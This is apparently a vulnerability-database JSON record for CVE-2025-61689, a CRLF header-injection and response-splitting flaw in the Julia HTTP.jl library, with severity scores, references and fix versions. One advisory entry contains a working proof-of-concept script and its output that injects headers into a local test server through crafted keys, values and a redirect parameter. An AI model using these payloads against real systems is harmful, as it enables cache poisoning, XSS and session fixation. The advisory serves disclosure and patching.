{"id":"CVE-2025-61689","aliases":["EUVD-2025-33756","GHSA-h3x8-ppwj-6vcj","JLSEC-2025-40"],"status":"published","title":"HTTP.jl vulnerable to Header injection/Response splitting via header construction.","description":"HTTP.jl is an HTTP client and server functionality for the Julia programming language. Prior to version 1.10.19, HTTP.jl did not validate header names/values for illegal characters, allowing CRLF-based header injection and response splitting. This enables HTTP response splitting and header injection, leading to cache poisoning, XSS, session fixation, and more. This issue is fixed in HTTP.jl  `v1.10.19`.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00341,"percentile":0.27805,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-113"],"published":"2025-10-10T16:48:41Z","modified":"2026-10-28T02:31:07Z","fixes":[{"ecosystem":"Julia","package":"HTTP","fixed_in":["1.10.19"],"sources":["osv"]}],"affected":[{"source":"osv","ecosystem":"Julia","package":"HTTP","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.10.19"}]}]}],"products":[{"vendor":"juliaweb","product":"http.jl"}],"references":[{"url":"https://github.com/JuliaWeb/HTTP.jl/security/advisories/GHSA-h3x8-ppwj-6vcj","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/JuliaWeb/HTTP.jl/releases/tag/v1.10.19","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/61xxx/CVE-2025-61689.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61689","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-61689","title":"HTTP.jl vulnerable to Header injection/Response splitting via header construction.","description":"HTTP.jl is an HTTP client and server functionality for the Julia programming language. Prior to version 1.10.19, HTTP.jl did not validate header names/values for illegal characters, allowing CRLF-based header injection and response splitting. This enables HTTP response splitting and header injection, leading to cache poisoning, XSS, session fixation, and more. This issue is fixed in HTTP.jl  `v1.10.19`.","status":"published","published":"2025-10-10T16:48:41.951Z","modified":"2025-10-10T19:12:55.936Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T14:32:45.105469Z"}],"euvd":[{"id":"EUVD-2025-33756","description":"HTTP.jl is an HTTP client and server functionality for the Julia programming language. Prior to version 1.10.19, HTTP.jl did not validate header names/values for illegal characters, allowing CRLF-based header injection and response splitting. This enables HTTP response splitting and header injection, leading to cache poisoning, XSS, session fixation, and more. This issue is fixed in HTTP.jl  `v1.10.19`.","status":"published","published":"2025-10-10T16:48:41Z","modified":"2025-10-10T19:12:55Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T20:31:33.954405Z"}],"nvd":[{"id":"CVE-2025-61689","description":"HTTP.jl is an HTTP client and server functionality for the Julia programming language. Prior to version 1.10.19, HTTP.jl did not validate header names/values for illegal characters, allowing CRLF-based header injection and response splitting. This enables HTTP response splitting and header injection, leading to cache poisoning, XSS, session fixation, and more. This issue is fixed in HTTP.jl  `v1.10.19`.","status":"published","published":"2025-10-10T17:15:39.367Z","modified":"2026-10-11T20:10:00.2Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T14:11:36.851295Z"}],"osv":[{"id":"CVE-2025-61689","title":"HTTP.jl vulnerable to Header injection/Response splitting via header construction.","description":"HTTP.jl is an HTTP client and server functionality for the Julia programming language. Prior to version 1.10.19, HTTP.jl did not validate header names/values for illegal characters, allowing CRLF-based header injection and response splitting. This enables HTTP response splitting and header injection, leading to cache poisoning, XSS, session fixation, and more. This issue is fixed in HTTP.jl  `v1.10.19`.","status":"published","published":"2025-10-10T16:48:41.951Z","modified":"2026-10-28T02:31:07.568073812Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P","level":"high"}],"cwes":["CWE-113"],"updated_at":"2026-11-02T15:44:51.516975Z"},{"id":"JLSEC-2025-40","title":"Header injection/Response splitting via header construction.","description":"HTTP.jl did not validate header names/values for illegal characters, allowing CRLF-based header injection and response splitting.\n\n```\nusing HTTP, Sockets\n\nfunction handle_index(req::HTTP.Request)\n    @show HTTP.header(req, \"X-Foo\")\n    return HTTP.Response(200, \"ok\")\nend\n\nfunction handle_redirect(req::HTTP.Request)\n    return HTTP.Response(301, [\"Location\" =\u003e get(HTTP.URIs.queryparams(req), \"to\", \"/\")], \"redirect\")\nend\n\nconst router = HTTP.Router()\nHTTP.register!(router, \"GET\", \"/\", handle_index)\nHTTP.register!(router, \"GET\", \"/redirect\", handle_redirect)\n\nserver = HTTP.serve!(router, Sockets.IPv4(0,0,0,0), 8080)\n\n\nprintln(\"[*] POC 1: Header injection in request through header key\")\nuser_input = \"X-Custom: x\\r\\nX-Foo: Bar\\r\\nX-Custom\"\nHTTP.get(\"http://localhost:8080/\", [user_input =\u003e \"hello\"])\n\nprintln()\n\nprintln(\"[*] POC 2: Header injection in request through header value\")\nuser_input = \"hello\\r\\nX-Foo: Bar\"\nHTTP.get(\"http://localhost:8080/\", [\"X-Custom\" =\u003e user_input])\n\nprintln()\n\nprintln(\"[*] POC 3: Header injection in response through header value\")\nres = HTTP.get(\"http://localhost:8080/redirect?to=/%0d%0aX-Foo:%20Bar\", redirect=false)\n@show HTTP.header(res, \"X-Foo\")\n\n```\n\n_Result_\n\n```\n[ Info: Listening on: [0.0.0.0:8080](http://0.0.0.0:8080/), thread id: 1\n[*] POC 1: Header injection in request through header key\nHTTP.header(req, \"X-Foo\") = \"Bar\"\n\n[*] POC 2: Header injection in request through header value\nHTTP.header(req, \"X-Foo\") = \"Bar\"\n\n[*] POC 3: Header injection in response through header value\nHTTP.header(res, \"X-Foo\") = \"Bar\"\n```\n\n### Impact\n\nThis enables HTTP response splitting and header injection, leading to cache poisoning, XSS, session fixation, and more.\n\n### Patches\n\nThis issue is fixed in HTTP.jl  `v1.10.19`\n\n### Credit\n\nChen T","status":"published","published":"2025-10-14T04:37:19.606Z","modified":"2026-07-18T04:00:04.08339478Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:47:17.805107Z"}]}}
